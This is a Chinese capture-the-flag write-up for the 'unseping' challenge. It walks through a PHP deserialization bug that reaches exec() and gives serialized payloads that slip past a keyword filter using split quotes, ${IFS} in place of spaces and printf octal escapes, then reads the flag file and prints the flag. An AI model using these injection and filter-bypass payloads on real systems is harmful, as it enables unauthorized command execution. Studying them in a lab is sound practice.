当前位置: 首页 > news >正文

攻防世界—unseping(反序列化)

一.审题

<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

二.代码审计

一个实体对象类ease,里面含有几个方法:_construct(创建实体) ,_destruct(销毁实体) ,ping, waf(过滤机制), _wakeup(反序列化的魔术方法)

使用POST传参,并且存在一个反序列化样式:unserialize,当我们通过POST传递ctf参数时,我们通过构造序列化去新增对象,会先后的调用函数:

POST传入数据 → base64解码 → unserialize() → __wakeup()(调用waf()过滤$args) → (对象销毁)__destruct() → (条件满足时)ping()(执行系统命令)

需要过滤的点:base64解码,过滤命令/(\||&|;| |\/|cat|flag|tac|php|ls)/,要求methon需要是ping

三解题

构建序列化后的句子:

O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:4:"l''s";}}

这边对于args需要注意的是使用l""s或者l''s进行绕过,我这边使用HackBar进行post传参

得到可以的文件flag_1s_here,这边看并不是一个可以直接访问的文件可能是个文件夹什么的,ls一下这个文件下的内容

O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:24:"l''s${IFS}f''lag_1s_here";}}

这边空格的过滤采用:${IFS}

${IFS}是变量的 “引用形式”,在命令中会被 Shell 自动解析为IFS的实际值(即默认包含空格)

接下去我们就浏览一下这个文件,flag应该就出来了

O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:74:"c''at${IFS}f""lag_1s_here$(printf${IFS}"\57")f''lag_831b69012c67b35f.p''hp";}}

得到flag:cyberpeace{367c9d5a1320dfef1bed663157002210}

http://www.xdnf.cn/news/1318411.html

相关文章:

  • python的邮件发送及配置
  • 逆向Shell实战——红队技巧 vs 蓝队防御全攻略
  • Matlab数字信号处理——基于最小均方误差(MMSE)估计的自适应脉冲压缩算法复现
  • React 基础实战:从组件到案例全解析
  • Mysql笔记-错误条件\处理程序
  • 【Java后端】Spring Boot 集成 MyBatis 全攻略
  • 【前端基础】19、CSS的flex布局
  • 麒麟V10静默安装Oracle11g:lsnrctl、tnsping等文件大小为0的解决方案
  • 【编程实践】关于S3DIS数据集的问题
  • 官方正版在线安装office 365安装工具
  • react 错误边界
  • Linux系统分析 CPU 性能问题的工具汇总
  • STM32学习笔记13-通信协议I2CMPU6050
  • 海洋牧场助力可持续发展,保护海洋生态平衡
  • C语言学习笔记之文件操作
  • 基于Vue的个人博客网站的设计与实现/基于node.js的博客系统的设计与实现#express框架、vscode
  • 网络原理与编程实战:从 TCP/IP 到 HTTP/HTTPS
  • C++零拷贝网络编程实战:从理论到生产环境的性能优化之路
  • 01数据结构-插入排序
  • 如何让AI视频模型(如Veo)开口说中文?一个顶级提示词的深度拆解
  • RabbitMQ入门:生产者和消费者示例
  • 44.【.NET8 实战--孢子记账--从单体到微服务--转向微服务】--扩展功能--集成网关--网关集成认证(三)
  • 一起Oracle 19c bug 导致的业务系统超时问题分析
  • 锂电池SOH预测 | Matlab基于KPCA-PLO-Transformer-LSTM的的锂电池健康状态估计(锂电池SOH预测),附锂电池最新文章汇集
  • Linux中聚合链路与软件网桥配置指南
  • java理解
  • 使用 Python 的 `cProfile` 分析函数执行时间
  • 如何做HTTP优化
  • 计算机毕设选题推荐-基于大数据的全面皮肤病症状数据可视化分析系统【Hadoop、spark、python】
  • 【LLM】文献阅读-ISOLATE GPT:基于大语言模型的执行隔离架构